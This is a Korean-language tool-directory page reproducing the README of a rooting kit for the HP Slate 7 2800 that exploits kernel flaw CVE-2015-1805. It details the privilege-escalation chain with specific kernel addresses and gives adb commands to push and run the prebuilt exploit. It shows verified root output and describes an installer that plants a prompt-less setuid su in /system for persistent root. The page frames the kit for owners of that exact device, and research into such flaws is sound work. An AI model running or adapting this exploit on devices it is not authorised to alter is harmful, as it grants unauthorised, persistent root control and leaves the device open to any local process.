Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hp-slate7-root-kit — CVE-2015-1805를 사용하는 HP Slate 7 2800 Android 4.1.1 루팅 킷. | Kitploit
도구/GitHubGitHub/valentineus/hp-slate7-root-kit
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

CVE-2015-1805를 사용하는 HP Slate 7 2800 Android 4.1.1 루팅 킷.

11일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

HP Slate 7 2800 (Android 4.1.1) 루팅

English | Русский

이 저장소에는 로컬 취약점 CVE-2015-1805를 악용하여 펌웨어 1.05.18 및 커널 **Linux 3.0.8+**를 실행하는 HP Slate 7 2800에서 영구적인 루트 액세스를 얻기 위한 완전한 독립형 키트가 포함되어 있습니다. 이 키트는 실제 태블릿에서 실행되었으며, 결과는 새 ADB 세션과 일반 재부팅 후에 검증되었습니다.

이것은 범용 Android 루팅 도구가 아닙니다. 이 익스플로잇은 이 특정 HP 커널 구성에 한정됩니다. 다른 모델, 펌웨어 또는 커널 버전에서 실행하지 마십시오.

검증된 구성

매개변수검증된 값
제조사 및 모델HP Slate 7 2800
Android4.1.1, API 16, 빌드 JRO03H
제품 / 기기t7h / pine
프로세서Rockchip RK3066, ARMv7
빌드 지문hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
커널3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32비트 ARM EABI5
SELinux커널 구성에 없음 (CONFIG_SECURITY 비활성화됨)
/system 파티션ext4, 기본적으로 읽기 전용으로 마운트됨

변경 없이 기기를 검사할 수 있습니다:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

또는 아래 스크립트를 사용하십시오. 지문 또는 커널 버전이 일치하지 않으면 진행을 거부합니다:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

저장소 내용

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

파일 형식 및 용도

검증된 바이너리의 SHA-256 체크섬:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

macOS에서 검증:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

Linux에서 검증:

root@kitploit:~
sha256sum -c SHA256SUMS

태블릿에서는 bin/의 파일을 사용하십시오: 기기에서 검증된 정확한 바이트입니다. build/ 디렉터리는 로컬 재빌드용이며 Git으로 추적되지 않습니다.

사용된 취약점

CVE-2015-1805는 구형 Linux 커널의 pipe_read() 및 pipe_write() 구현에 있는 결함입니다. 원자적 복사가 실패하면 코드가 iovec 배열 순회를 잘못 계속하여 포인터를 경계 밖으로 이동시킬 수 있습니다. 그 결과 로컬 비특권 프로세스가 메모리를 손상시키거나, 커널을 충돌시키거나, 권한을 상승시킬 수 있습니다. 이 메커니즘에 대한 자세한 설명은 oss-security에 게시되었습니다. 수정 사항은 업스트림 Linux 커밋 637b58c 및 f0d1bec 등에서 찾을 수 있습니다.

태블릿의 3.0.8+ 커널은 취약한 것으로 확인되었습니다. 커널 메모리를 수정하기 전에, 두 쓰기 대상이 모두 테스트 프로세스의 일반 메모리에 있는 무해한 프로브로 동일한 레이스를 별도로 테스트했습니다. 프로브는 CVE-2015-1805: VULNERABLE을 보고했으며 태블릿은 ADB를 통해 계속 접근 가능했습니다.

권한 상승 체인

  1. 익스플로잇은 readv(), 메모리 매핑 변경, 그리고 커널의 취약한 파이프 코드에서 대형 iovec 배열 처리 사이에 레이스를 생성합니다.
  2. 결과적인 쓰기 프리미티브는 sys_call_table의 사용되지 않는 항목 222를 익스플로잇 프로세스에 있는 작은 ARM 트램펄린의 주소로 일시적으로 대체합니다.
  3. 테이블 주소는 0xffff0008의 하이 벡터를 통해 계산됩니다. 검증된 기기에서 명령어는 0xe59ff410이며 해당 리터럴은 vector_swi = 0xc04d0d40을 가리킵니다.
  4. vector_swi와 sys_call_table은 공식 HP 오픈 소스 1.05.10 커널 아카이브 (아카이브 SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)에서 rk30_t7h_dvt_defconfig defconfig로 독립적으로 산출되었습니다. 둘 사이의 오프셋은 0xc4입니다. 설치된 펌웨어에는 OABI도 seccomp도 없으므로 테이블의 최종 런타임 주소는 0xc04d0e04입니다.

구형 커널 헤더의 원래 current_thread_info() 함수는 -O0에서 최신 Clang과 호환되지 않았습니다. 초기 프로토타입이 sp 레지스터 대신 초기화되지 않은 워드를 읽어 커널을 충돌시킬 수 있었습니다. 이 저장소에서는 검증된 naked ARM 트램펄린으로 대체되었습니다. 초기 바이너리는 저장소에 포함되어 있지 않습니다.

필요 소프트웨어

bin/의 기성 파일을 사용하려면

  • macOS 또는 Linux를 실행하는 컴퓨터; 적절한 ADB USB 드라이버가 있으면 Windows도 가능하지만 이 절차는 macOS에서 검증되었습니다;
  • Android SDK Platform Tools의 adb;
  • 작동하는 USB 데이터 케이블;
  • USB 디버깅이 활성화되고 컴퓨터의 RSA 키가 태블릿에서 승인되어 있어야 합니다.

Android NDK, Java, Python, fastboot, 잠금 해제된 부트로더, 커스텀 리커버리, 루팅 APK 또는 네트워크 액세스는 필요하지 않습니다. 익스플로잇과 페이로드는 정적으로 링크되어 있습니다.

소스에서 재빌드하려면

  • Zig 0.15.2; 휴대용 아카이브를 푸는 것으로 충분하며 시스템 전체 패키지 설치는 필요 없습니다;
  • Bash;
  • 결과 검증을 위한 shasum 또는 sha256sum.

Android NDK는 여전히 필요하지 않습니다: Zig가 ARM musl 크로스 툴체인을 제공합니다.

태블릿 준비

  1. 태블릿을 최소 50% 이상 충전합니다. 검증 실행 당시 약 80%였습니다.
  2. Android를 정상적으로 부팅하고 화면 잠금을 해제합니다.
  3. 개발자 옵션 -> USB 디버깅을 활성화합니다.
  4. 케이블을 연결하고 Android에 USB 디버깅 RSA 프롬프트가 표시되면 수락합니다.
  5. Towelroot, KingRoot 또는 다른 루팅 애플리케이션을 동시에 실행하지 마십시오.
  6. 불필요한 애플리케이션을 닫습니다. 익스플로잇은 많은 스레드를 생성하며 이 구형 기기의 한계에 근접합니다.

연결을 확인합니다:

root@kitploit:~
adb devices -l

상태는 device여야 하며 offline 또는 unauthorized가 아니어야 합니다.

루트 획득: 수동 절차

저장소 루트로 이동하여 먼저 기기가 정확히 일치하는지 확인합니다:

root@kitploit:~
./scripts/check-target.sh

여러 기기가 연결된 경우 adb -s SERIAL을 사용하여 모든 명령에 일련번호를 전달하거나 ANDROID_SERIAL 환경 변수를 설정하십시오.

세 파일을 서로가 기대하는 이름으로 업로드합니다:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

권한을 설정하고 스테이징된 파일을 디스크에 플러시합니다:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

익스플로잇을 한 번만 실행합니다:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

검증된 성공 출력:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

기기가 몇 초 동안 ADB에서 사라지면 익스플로잇을 다시 실행하지 마십시오. 기기가 돌아올 때까지 기다립니다:

root@kitploit:~
adb wait-for-device

자동 절차

스크립트는 지문과 커널을 검증하고, SHA-256 해시를 확인하고, 파일을 업로드하고, ROOT 입력을 요청한 다음 익스플로잇을 실행하고 uid=0을 검증합니다:

root@kitploit:~
./scripts/root-device.sh

여러 기기의 경우:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

--yes 옵션은 대화형 확인을 비활성화하며 의도적인 자동 사용만을 위한 것입니다:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

결과 검증

익스플로잇 프로세스의 uid가 아닌 새로운 ADB 셸에서 루트를 검증합니다:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

예상 출력:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

다음으로 임시 스테이징 파일만 제거합니다. 설치된 /system/xbin/su는 제거되지 않습니다:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

이 키트는 /data/local.prop을 생성하지 않으며 사용자 데이터를 수정하지 않습니다.

일반 재부팅을 수행한 다음 루트가 유지되는지 검증합니다:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

검증된 태블릿은 재부팅 후 다음 결과를 생성했습니다:

root@kitploit:~
uid=0(root) gid=0(root) ...

설치된 파일은 태블릿에서 다시 가져와 bin/hp-slate7-su와 바이트 단위로 일치했습니다:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

루트 사용

단일 명령을 실행하려면:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su는 Android 앱, 확인 프롬프트, 데몬 또는 권한 로그가 없는 의도적으로 최소한의 래퍼입니다. /system/xbin/su를 실행할 수 있는 모든 로컬 프로세스는 잠재적으로 루트를 얻을 수 있습니다. 루팅한 후 이 구형 태블릿을 민감한 데이터에 사용하지 말고 신뢰할 수 없는 APK를 설치하지 마십시오.

소스에서 재빌드하기

휴대용 Zig 0.15.2의 경로를 지정하거나 zig를 PATH에 추가하십시오:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

출력은 build/에 기록됩니다:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

파일 형식을 확인합니다:

root@kitploit:~
file build/hp-slate7-*

세 파일 모두 32비트 ARM EABI5 ELF 파일이어야 합니다. 검증된 Zig 0.15.2 버전에서 설치 프로그램과 su는 bin/의 파일과 바이트 단위로 동일하게 재빌드됩니다. 익스플로잇 해시는 DWARF 및 링커 메타데이터의 절대 경로 때문에 다를 수 있습니다. 그 중요한 6개 명령어 트램펄린은 검증 빌드에서 바이트 단위로 동일했습니다. 재빌드해도 태블릿에서 실제로 실행된 bin/의 파일 체크섬은 대체되지 않습니다.

문제 해결

unauthorized

화면 잠금을 해제하고 USB 디버깅 RSA 키를 수락합니다. 프롬프트가 나타나지 않으면 케이블을 다시 연결하고 adb devices -l을 다시 실행합니다.

offline 또는 기기가 사라짐

몇 초 기다린 후 adb wait-for-device를 실행합니다. 태블릿이 꺼진 경우 전원 버튼으로 정상적으로 켭니다. 익스플로잇의 두 번째 인스턴스를 동시에 실행하지 마십시오.

익스플로잇이 [+] Done을 출력하지 않음

CVE는 레이스를 통해 악용되므로 이론적으로 실패할 수 있습니다. 단 한 번의 재시도 전에 태블릿을 재부팅하십시오. 바이너리를 루프로 실행하지 마십시오: 실패한 레이스는 커널을 충돌시킬 수 있습니다.

su는 존재하지만 명령이 코드 127로 종료됨

파일의 SHA-256 해시를 확인합니다. 초기 연구용 래퍼는 ARM에서 argv를 잘못 처리하여 코드 127로 종료되었습니다. 이 저장소에는 SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e의 수정된 656바이트 버전이 포함되어 있습니다.

HP 로고가 화면에 남아 있지만 ADB는 이미 사용 가능함

Android의 실제 상태를 확인합니다:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1은 물리적 디스플레이에 여전히 이전 프레임이 표시되더라도 Android가 부팅되었음을 의미합니다.

테스트된 것과 사용되지 않은 것

다른 잘 알려진 접근 방식은 이 기기에서 안전하게 배제되었거나 부적합한 것으로 판명되었습니다: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW 및 PingPongRoot. Towelroot/CVE-2014-3153은 이 커널을 충돌시키므로 사용해서는 안 됩니다. CVE-2014-7951은 ADB 복원 경로 탐색을 통해 파일을 쓸 수 있게 했지만 HP 펌웨어는 /data/local.prop을 로드하지 않았으므로 이 방법은 루트를 제공하지 못했습니다.

부트로더는 구형 Rockchip 로더를 사용하며 표준 fastboot 기기로 나타나지 않았습니다. 이 결과를 위해 리커버리 플래싱이나 부트로더 잠금 해제는 필요하지 않았습니다.

출처 및 라이선스

익스플로잇 코드는 mobilelinux/iovy_root_research 커밋 f945796을 기반으로 하며, 이는 다시 dosomder/iovyroot를 참조합니다. 기기별 변경 사항에는 스레드 수 감소, 타임아웃 수정, naked ARM 트램펄린 사용, 시스템 콜 테이블 조기 복원, cred 검증 및 적용 불가능한 SELinux 분기 비활성화가 포함됩니다.

원본 고지 사항은 보존되었습니다. 이 저장소는 GPL-3.0으로 배포됩니다. LICENSE 및 NOTICE를 참조하십시오.

면책 조항

커널 메모리 악용은 항상 기기 재부팅, 시스템 손상 또는 데이터 손실의 위험을 수반합니다. 이 키트는 소유하고 있으며 펌웨어가 정확히 일치하는 HP Slate 7 2800에서만 사용하도록 고안되었습니다. 중요한 데이터를 백업하고 다른 사람의 기기에는 사용하지 마십시오.


보안 연구 및 문서화는 GPT-5.6 Sol로 구동되고 Daybreak Blue 사이버 보안 액세스가 적용된 OpenAI Codex의 지원으로 완료되었습니다.


저장소 위치: 정식 소스 · github · 읽기 전용 미러

도구 다운로드
파일형식크기용도
bin/hp-slate7-cve-2015-1805-rootELF 32비트 ARM EABI5, 정적, unstripped2,722,320바이트CVE를 악용하여 uid 0을 획득하고 설치 프로그램 실행
bin/hp-slate7-install-rootELF 32비트 ARM EABI5, 정적, stripped22,596바이트/system을 임시로 rw로 재마운트하고 su를 설치한 후 ro 복원
bin/hp-slate7-suELF 32비트 ARM EABI5, 정적, stripped656바이트setresgid(0,0,0) 및 setresuid(0,0,0) 호출 후 /system/bin/sh 실행
  • 트램펄린은 정확히 여섯 개의 ARM 명령어로 구성됩니다. 현재 sp를 가져와 8,192바이트 커널 스택 크기에 맞춘 다음 오프셋 8의 thread_info.addr_limit에만 -1을 씁니다. 외부 호출, 프롤로그 또는 컴파일러 런타임 코드가 없습니다.
  • 임시 시스템 콜이 반환된 직후 항목 222는 항목 223에서 복원됩니다. HP 소스에서 두 항목 모두 sys_ni_syscall입니다. 검증된 커널에서 복원된 포인터는 0xc051900c입니다.
  • addr_limit이 확장되면 파이프 복사가 현재 task_struct를 읽고 cred를 찾은 다음 현재 uid/gid 값, 정렬, 참조 횟수 및 real_cred == cred 조건을 사용하여 구조를 검증합니다. 이러한 검사 후에만 uid/gid 값이 0으로 설정되고 capability 마스크가 1로 채워집니다.
  • 프로세스는 uid=0을 획득하고 /data/local/tmp/install-root를 실행합니다. 설치 프로그램은 /system을 rw로 재마운트하고, 페이로드를 /system/xbin/su에 복사하고, root:root 소유권과 모드 06755를 할당하고, sync()를 호출한 다음 /system을 읽기 전용으로 다시 마운트합니다.